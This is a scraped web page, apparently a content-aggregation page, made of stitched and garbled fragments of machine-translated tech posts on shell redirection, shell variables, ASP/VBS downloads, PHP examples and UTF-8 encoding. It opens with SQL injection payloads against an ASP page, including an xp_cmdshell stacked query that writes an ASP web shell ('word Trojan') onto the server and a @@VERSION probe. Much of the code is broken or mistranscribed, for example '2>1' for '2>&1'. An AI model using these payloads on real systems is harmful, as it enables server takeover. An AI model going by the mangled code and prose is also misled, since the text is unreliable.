1, with ^ escape characters to write ASP (a word Trojan) file method:
Http://192.168.1.5/display.asp?keyno=1881;exec Master.dbo.xp_cmdshell ' echo ^
Echo ^
2. Display SQL System version:
? http://192.168.1.5/display.asp?keyno=188 and 1= (SELECT @ @VERSION)
? Http://www.XXXX.
for these things, the gods are already in the chest, but there are some just contact Linux , Unix people like these systems may not be familiar with these variables, so I'll share them with you today. What problem can add QQ Group, we discuss together -- Ops tribe:348384728To make it easier for everyone to understand, write a simple script that will explain the meaning of each variable later.# Touch Test# VI TestThe script reads as follows: #!/bin/shecho "number:$#"
The shell can often be seen: >/dev/null 2>1/dev/null represents an empty device filewhere does the > delegate redirect to, for example: echo "1111" >/home/a.txt1 means stdout standard output, the system default is 1, so ">/dev/null" is equivalent to "1>/dev/null"
partial content.") 'the server does not support resumable upload'
Aso. type = 1 'data stream type set to byte'Aso. OpenAso. loadfromfile filename 'open file'Aso. Position = start 'set the initial position of the file pointer'Aso. Write HTTP. responsebody 'write Data'Aso. savetofile filename, 2 'overwrite'Aso. Close
Range = http. getResponseHeader ("content-range") 'Get "content-range"' in the HTTP Heade
The shell can often be seen: >/dev/null 2>1Eg:sudo kill-9 ' ps-elf |grep-v grep|grep $1|awk ' {print $4} ' 1>/dev/null 2>/dev/nullThe result of the command can be defined in the form of a%> output/dev/null represents an empty device fileWhere does the > delegate redirect to, for example:
A few days ago, and then almost two weeks did not post blog. Formally returned today. Ha ha1. RoutingWhen it comes to routing at the time of learning to me puzzled for a few days,. Did not look closely at the document. Then a blind face to use postman[Google plug-in] test the routing method. And then it was strange that composer downloaded Laravel why the only get routing method that was tested in postman was used, similar to this:Laravel routing in app/http/routes.php This file (Chinese documen
information obtained here is the first time when the second error message is inserted into the database.The number of times has been more than once;If ($ row ['login _ times ']> 2 ){$ Current = time ();$ Passed_time = $ current-$ row ['login _ date'];Echo '. $ passed_time.' second // Set the time to 900 seconds. During this period, a specific user cannot log on to the system.If ($ c
employees", $ db );Echo "Echo "While ($ myrow = mysql_fetch_row ($ result )){Printf ("}Echo "Include ("footer. inc ");?>See what happened? The content in the header file is merged into the program, and PHP executes all the code. Note how $ title is defined before the header file contains header. inc. The code in header. inc can access its value. In this way, the
In some shell scripts, especially in crontab scripts, >/dev/null2>1 is often seen as such.
In fact, this is very good understanding. We explain in two parts. 1. >/dev/null
Everyone knows that ">" (Right angle bracket) in the Unix/linux shell means input to the meaning of the ">" to the left of the content to the ">" right.For example, Echo text>
http = server. createobject ("msxml2.xmlhttp ")
Http. open "get", url, false
Http. setrequestheader "referer", "http://www.fromdomain.cn /"
Http. send ()
At first, I thought that the vbs under asp is different from the vbs that I directly double-click to run. The vbs under asp is awesome and can be changed to the referer. For this reason, I also installed iis for testing and found that no referer is returned. Later, I saw the following message: "Forgive me for not being familiar with asp. I
Break down this combination: ">/dev/null 2>1" is part five.(1 for standard output, 2 for standard error output, 2>1 to redirect standard error output to standard output)Where does the 1
Phputf-8 to unicode functions page 12th. The UTF encoding UTF-8 is coded in 8 bits. The encoding method from UCS-2 to UTF-8 is as follows: UCS-2 encoding (hexadecimal) UTF-8 byte stream (binary) bytes -007f0xxxxxxx0080-07ff UTF encoding
The UTF-8 is coded in 8 bits. The encoding from UCS-2 to UTF-8 is as follows:
UCS-2
You can write the following statements based on whether the cache is enabled:Note: The following code does not take into account the issue that the ie cache must be larger than 256 bytes for output. For example, to test in ie, add the following code: "echo str_repeat ('', 256)"Statement 1:Output_buffering = offImplicit_flush = offFor ($ I = 0; $ I Echo
", "quagmire", "Joe ");
Example 2 In this example, we manually allocate the ID key:
$ Names [0] = "Peter ";$ Names [1] = "quagmire ";$ Names [2] = "Joe ";
You can use these id keys in the script:CopyCodeThe Code is as follows: $ Names [0] = "Peter ";$ Names [1] = "quagmire ";$ Names [
interaction are not executed in the background, because your machine will be there to wait.However, a job running in the background will output the results to the screen, interfering with your work.If a job that runs in the background produces a lot of output, it's a good idea to redirect its output to a file using the following method:Command >out.file 2>1 In the example above,
Http://dadekey.blog.51cto.com/107327/119938
Let's first write a simple script and then explain the meaning of each variable.
# Touch variable
# Vi variable
The script content is as follows:
#! /Bin/sh
Echo "number: $ #"Echo "scname: $0"Echo "First: $1"Ech
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.